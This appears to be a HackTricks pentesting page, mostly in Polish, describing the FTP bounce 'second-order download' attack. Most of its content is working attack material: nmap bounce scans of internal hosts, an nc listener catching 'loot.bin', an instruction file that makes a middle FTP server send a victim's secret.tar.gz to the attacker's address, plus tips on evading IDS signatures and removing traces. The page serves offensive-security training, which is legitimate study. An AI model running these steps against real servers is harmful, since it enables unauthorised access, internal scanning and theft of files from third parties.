FTP Bounce Download 2 of FTP File

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Podsumowanie

Jeśli masz dostęp do bounce FTP server, możesz spowodować, że zażąda on plików z innego serwera FTP (na którym znasz jakieś dane uwierzytelniające) i pobierze ten plik na swój serwer.

Wymagania

  • Prawidłowe poświadczenia FTP na pośrednim serwerze FTP
  • Prawidłowe poświadczenia FTP na serwerze FTP ofiary
  • Oba serwery akceptują polecenie PORT (bounce FTP attack)
  • Masz możliwość zapisania do jakiegoś katalogu na pośrednim serwerze FTP
  • Serwer pośredni ma większy dostęp w serwerze FTP ofiary niż Ty

Kroki

  1. Połącz się z własnym serwerem FTP i ustaw połączenie pasywne (pasv command), tak aby nasłuchiwał w katalogu, do którego usługa ofiary wyśle plik.
  2. Przygotuj plik, który pośredni serwer FTP wyśle do serwera ofiary (the exploit script). Plik ten będzie zwykłym tekstem zawierającym potrzebne polecenia do uwierzytelnienia się na serwerze ofiary, zmiany katalogu i pobrania pliku na twój serwer.
  3. Połącz się z pośrednim serwerem FTP i prześlij wcześniej przygotowany plik.
  4. Spraw, aby pośredni serwer FTP nawiązał połączenie z serwerem ofiary i wysłał plik exploit.
  5. Przechwyć plik na własnym serwerze FTP.
  6. Usuń plik exploit z pośredniego serwera FTP.

Szybka kontrola podatnych bounce hostów

  • Nmap nadal obsługuje FTP bounce checks. Przykład weryfikacji potencjalnego serwera pośredniczącego:
nmap -Pn -p21 --script ftp-bounce <middle_ftp_ip>
# or directly attempt a bounce scan
nmap -Pn -p80 -b user:pass@<middle_ftp_ip>:21 <internal_target_ip>

Jeśli serwer odrzuca wartości PORT stron trzecich, skan się nie powiedzie; niektóre wbudowane/przestarzałe drukarki, NAS i urządzenia typu appliance z demonami FTP nadal na to pozwalają.

Automatyzacja drugiego pobrania przez FTP

Poniżej nowocześniejszy sposób pobrania pliku przez podatny pośredni serwer FTP.

  1. Open a passive listener on your attack box (any TCP sink works):
nc -lvnp 2121 > loot.bin  # or run a small pyftpdlib server
  1. Note your IP as A,B,C,D and port P as p1,p2 (p1 = P/256, p2 = P%256).

  2. Build the instruction file that the middle server will replay to the victim:

cat > instrs <<'EOF'
USER <victim_user>
PASS <victim_pass>
CWD /path/inside/victim
TYPE I
PORT A,B,C,D,p1,p2
RETR secret.tar.gz
QUIT
EOF
# Add padding so the control channel stays open on picky daemons
dd if=/dev/zero bs=1024 count=60 >> instrs
  1. Upload & trigger from the middle server (classic proxy FTP):
ftp -n <middle_ftp> <<'EOF'
user <middle_user> <middle_pass>
put instrs
PORT <victim_ip_with_commas>,0,21
RETR instrs
QUIT
EOF
  1. Grab the file from your listener (loot.bin).
  2. Clean up the uploaded instrs file on the middle server.

Notatki:

  • Wypełnienie (dd ...) zapobiega zamknięciu połączenia kontrolnego zanim RETR się zakończy (problem z dużym oknem TCP omawiany w klasycznych opisach).
  • Każda usługa, która potrafi listen and dump TCP, może zastąpić gniazdo FTP PASV (np. socat -u TCP-LISTEN:2121,fork - > loot.bin).
  • Jeśli serwer pośredni ogranicza uprzywilejowane porty, użyj wysokiego portu w PORT i dostosuj swój listener odpowiednio.

Dodatkowe sztuczki

  • Użyj bounceable FTP server, aby port-scan internal hosts gdy relay plików jest zablokowany:
nmap -Pn -p22,80,445 -b anonymous:<email>@<middle_ftp> <internal_ip>
  • Niektóre nowoczesne WAF/IDS (np. Juniper IPS) zawierają sygnatury specjalnie dla FTP:EXPLOIT:BOUNCE-ATTACK; hałaśliwe payloady lub brak paddingu mogą je wywołać.
  • Gdy serwer pośredni wymusza ograniczenia “PORT to same host”, umieść swojego listener na samym serwerze pośrednim (jeśli masz prawa do zapisu/wykonywania) i przekaż potem przechwycony plik.

Po bardziej szczegółowy, staroszkolny przewodnik sprawdź: http://www.ouah.org/ftpbounce.html

References

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks